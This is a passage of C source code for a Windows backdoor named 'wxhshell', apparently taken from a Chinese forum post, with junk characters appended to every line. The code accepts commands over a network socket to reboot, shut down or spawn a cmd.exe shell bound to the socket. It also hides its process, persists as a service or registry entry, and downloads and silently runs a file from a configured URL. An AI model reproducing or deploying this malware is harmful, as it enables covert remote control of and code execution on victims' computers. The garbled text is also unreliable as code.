  // 帮助 a>1_|QB.  
  case '?': { XJ\ j0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xj/Iq<'R*O  
    break; B]):$#{Rxl  
  } K x7'm1  
  // 安装 \\\%pBT7]\  
  case 'i': { $JH_  
    if(Install()) #0yU K5J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }E?{M~"<  
    else sA( e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y'gIx*6B@  
    break; xMck A<E  
    } }jF67c->  
  // 卸载 8Ja't8  
  case 'r': { D;~c`G "f  
    if(Uninstall()) X?p.U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FQc8j:'  
    else u ##.t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [QC|Kd^#  
    break; -b?yzg, 8  
    } )ad-p.Hus  
  // 显示 wxhshell 所在路径 <F~0D0G  
  case 'p': { s\7]"3:wD  
    char svExeFile[MAX_PATH]; <{ Z$!]i1  
    strcpy(svExeFile,"\n\r"); %hEhZW{:  
      strcat(svExeFile,ExeFile); Oy> V/  
        send(wsh,svExeFile,strlen(svExeFile),0); $Tc"7nYu  
    break; W{z7h[?5,  
    } A^ :/*  
  // 重启 !G`7T  
  case 'b': { I-=H;6w7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jrOqspv   
    if(Boot(REBOOT)) *)+K+J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8OYw72&  
    else { 3B{B6w}t&  
    closesocket(wsh); :cx}I  
    ExitThread(0); @Yv+L)  
    } *3,Kn}ik  
    break; +:JyXF u  
    } g\Ck!KJ/y  
  // 关机 -+#QZ7b  
  case 'd': { Vh%=JL sK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :$=r^LSH  
    if(Boot(SHUTDOWN))  4[\[Ho  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6k|^Cs6~z  
    else { +\@) 1  
    closesocket(wsh); m[k@\xS4e  
    ExitThread(0); =wd=TX/  
    } @qszwQav$  
    break; U6 4WTS@  
    } hcQky/c\#b  
  // 获取shell 85QVj] nr  
  case 's': { ?3X(`:KB  
    CmdShell(wsh); JjD'2"z  
    closesocket(wsh); 1Wz -Z  
    ExitThread(0); Rn"Raq7Cn*  
    break; s]D&):  
  } -!p +^wC  
  // 退出 nPAVrDg O  
  case 'x': { g~>g])  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DU@ZLk3  
    CloseIt(wsh); z2EZ0vZ  
    break; -d|Q|zF^x  
    } L)0j&  
  // 离开 b.Yl0Y  
  case 'q': { nDt1oM H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %fv;C  
    closesocket(wsh); ]\fXy?2  
    WSACleanup(); 6 /A#P$G  
    exit(1); BCrX>Pp }r  
    break; 9|;"+jlt  
        } v2vPf b  
  } QT!!KTf  
  } Py&DnG'H  
'G6M:IXno  
  // 提示信息 dtXA EL\q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jp'XZ]o\  
} +Wr"c  
  } I U Mt^z  
'dkKBLsx  
  return; ZSB_OS[N  
} X=sC8Edx  
+{qX,  
// shell模块句柄 Q9Y$x{R&  
int CmdShell(SOCKET sock) 7K*\F}2)q  
{ QA=G+1x  
STARTUPINFO si; N2 vA/  
ZeroMemory(&si,sizeof(si)); FEdWe\E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {iz,iv/U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AK7IPftlH  
PROCESS_INFORMATION ProcessInfo; H(MCY3t  
char cmdline[]="cmd"; GT -(r+u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [<2#C#P:6  
  return 0; ,-4SVj8$P  
} ?PMF]ah  
CY"iP,nHl  
// 自身启动模式 dn"&j1@KY  
int StartFromService(void) pl-2O $  
{ U c6]]Bbc  
typedef struct 5tSR2gG#K,  
{ 7tEK&+H`  
  DWORD ExitStatus; }I1A4=d  
  DWORD PebBaseAddress; "0,d)L0,"  
  DWORD AffinityMask; >z(AQ  
  DWORD BasePriority; Q|!}&=  
  ULONG UniqueProcessId; w<m) T  
  ULONG InheritedFromUniqueProcessId; m|7lDfpb  
}   PROCESS_BASIC_INFORMATION; # 1S*}Q<k  
DE0gd ux8  
PROCNTQSIP NtQueryInformationProcess; nb -Je+  
/Ir|& <yB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,>:   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BW`)q/  
yq?7!X  
  HANDLE             hProcess; R%(ww  
  PROCESS_BASIC_INFORMATION pbi; Fj0a+r,h!  
SGZ]_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 01/?  
  if(NULL == hInst ) return 0; 4yk!T  
x/7d!>#;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @,Re<%\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6I)1[tU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dzK]F/L]  
{3jV ,S  
  if (!NtQueryInformationProcess) return 0; sRM3G]nUr  
?|&plf |  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \Y EV 5  
  if(!hProcess) return 0; &TpzJcd"  
A3\%t@y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fP6]z y^ *  
&oA p[]  
  CloseHandle(hProcess); ,>DaS(  
SM<kR1bo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f9Vxtd  
if(hProcess==NULL) return 0; C< :F<[H  
U%Igj:%?;`  
HMODULE hMod; k:+Bex$g  
char procName[255]; q,<AW>  
unsigned long cbNeeded; np>RxiB^  
<hYrcOt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $'9b,- e  
+npcU:(Kg  
  CloseHandle(hProcess); _li\b-  
C:]&V*d.v4  
if(strstr(procName,"services")) return 1; // 以服务启动 ,u^RZ[}  
vPVA^UPNV  
  return 0; // 注册表启动 QO'=O}e  
} |bHId!d  
v4:g*MD?~  
// 主模块 W w{|:>j  
int StartWxhshell(LPSTR lpCmdLine) U?MKZL7  
{ 208dr*6U  
  SOCKET wsl; nvJ2V $  
BOOL val=TRUE; efK)6T^p  
  int port=0; @.4e^Km  
  struct sockaddr_in door; L4)@lmd3  
5]Wkk~a  
  if(wscfg.ws_autoins) Install(); +2}aCoL\  
2MN AY%iT  
port=atoi(lpCmdLine); 0(uNFyIG  
$WOiXLyCk  
if(port<=0) port=wscfg.ws_port; DwQa j"1<%  
vd4}b>  
  WSADATA data; wbC'SOM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %cWy0:F5VY  
qJ;T$W=NG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w Wx,}=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P5:X7[  
  door.sin_family = AF_INET; _` %z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hb6UyN  
  door.sin_port = htons(port); rKP;T"?;  
WHV]H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \Z +O9T%  
closesocket(wsl); G 4jaHpPi  
return 1; B!Ss 35<  
} ;'\{T#5)  
C,+ Sv-  
  if(listen(wsl,2) == INVALID_SOCKET) { 1I#S?RSb  
closesocket(wsl); 7qyv.{+  
return 1; ;K'1dsA  
} bd n{Y  
  Wxhshell(wsl); y=L9E?  
  WSACleanup(); H:~41f[  
8Nr,Wq  
return 0; y6[^I'kz  
JsOu *9R  
} Eua\N<!aai  
n3-2;xuNKE  
// 以NT服务方式启动 K%Sy~6iD&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =Vgj=19X(  
{ xK`.^W  
DWORD   status = 0; Unl6?_  
  DWORD   specificError = 0xfffffff; N6GvzmG#g  
`_IgH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QfI)+pf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 29 +p|n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (_}w4N#  
  serviceStatus.dwWin32ExitCode     = 0; N Fc@Kz<H  
  serviceStatus.dwServiceSpecificExitCode = 0; /<(d.6T[}:  
  serviceStatus.dwCheckPoint       = 0; ar0y8>]3  
  serviceStatus.dwWaitHint       = 0; =h~\nTN  
lP@/x+6tg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xDf<@  
  if (hServiceStatusHandle==0) return; 6%mF iX  
SX$Nef9p  
status = GetLastError(); ^9})@,(D  
  if (status!=NO_ERROR) ^ fo2sN"   
{ !MOgM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3^>D |  
    serviceStatus.dwCheckPoint       = 0; XO)|l8t#$=  
    serviceStatus.dwWaitHint       = 0; p^G:h6|+|  
    serviceStatus.dwWin32ExitCode     = status; JRMe( ,u  
    serviceStatus.dwServiceSpecificExitCode = specificError; =] R_6#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "z ` &xB  
    return; 9zj^\-FA_l  
  } @:'swO/\<  
p;S<WJv k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C~4$A/&(  
  serviceStatus.dwCheckPoint       = 0; 0Ywqv)gg  
  serviceStatus.dwWaitHint       = 0; cLN(yL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /f!CX|U  
} @"*8nV#  
x(e =@/qp  
// 处理NT服务事件,比如:启动、停止 LB<,(dyh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l vuoVINEp  
{ c}nXMA^^  
switch(fdwControl) L0_qHLY  
{ EwSE;R -  
case SERVICE_CONTROL_STOP: M(,npW  
  serviceStatus.dwWin32ExitCode = 0; S[o_$@|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q? x.P2  
  serviceStatus.dwCheckPoint   = 0; *QzoBpO<  
  serviceStatus.dwWaitHint     = 0; I' URPj:t  
  { b|i94y(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zOR  
  } <r*A(}Y  
  return; 33O@jb s@  
case SERVICE_CONTROL_PAUSE: /aepE~T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l<7)uO^8  
  break; tUXq!r<'dT  
case SERVICE_CONTROL_CONTINUE: D`=hP( y^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QI@!QU$K&  
  break; `P&L. m]|  
case SERVICE_CONTROL_INTERROGATE: 6?U2Et  
  break; .P[ %t=W  
}; "{0 o"k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p[*NekE6-  
} +tz^ &(  
o=`FGowF  
// 标准应用程序主函数 W s!N%%g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %J06]FG7  
{ gi;#?gps  
~eH+*U|\|M  
// 获取操作系统版本 \lVX~r4  
OsIsNt=GetOsVer(); I!y[7^R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9}`A_KzFx  
1uTbN  
  // 从命令行安装 t:m2[U_}  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wq!n8O1  
kve{CO*  
  // 下载执行文件 b {e nD  
if(wscfg.ws_downexe) { xF*C0B;QL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $=8?@My<  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?`Oh]2n)6  
} jI$}\*g  
n<;T BK  
if(!OsIsNt) { sF?N vp  
// 如果时win9x,隐藏进程并且设置为注册表启动 .7-Yu1{2  
HideProc(); f Q.ea#xh^  
StartWxhshell(lpCmdLine); pIh%5Z U  
} uy~KJn?Tu  
else [@@Ovv  
  if(StartFromService()) *yGOm i  
  // 以服务方式启动 Cc:m~e6r  
  StartServiceCtrlDispatcher(DispatchTable); n237%LH[  
else CErkmod{}e  
  // 普通方式启动 J7R+|GTcx  
  StartWxhshell(lpCmdLine); RltG/ZI  
'J^E|1P  
return 0; .S&S#}$/]  
}
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只看该作者 1 发表于: 2006-10-10
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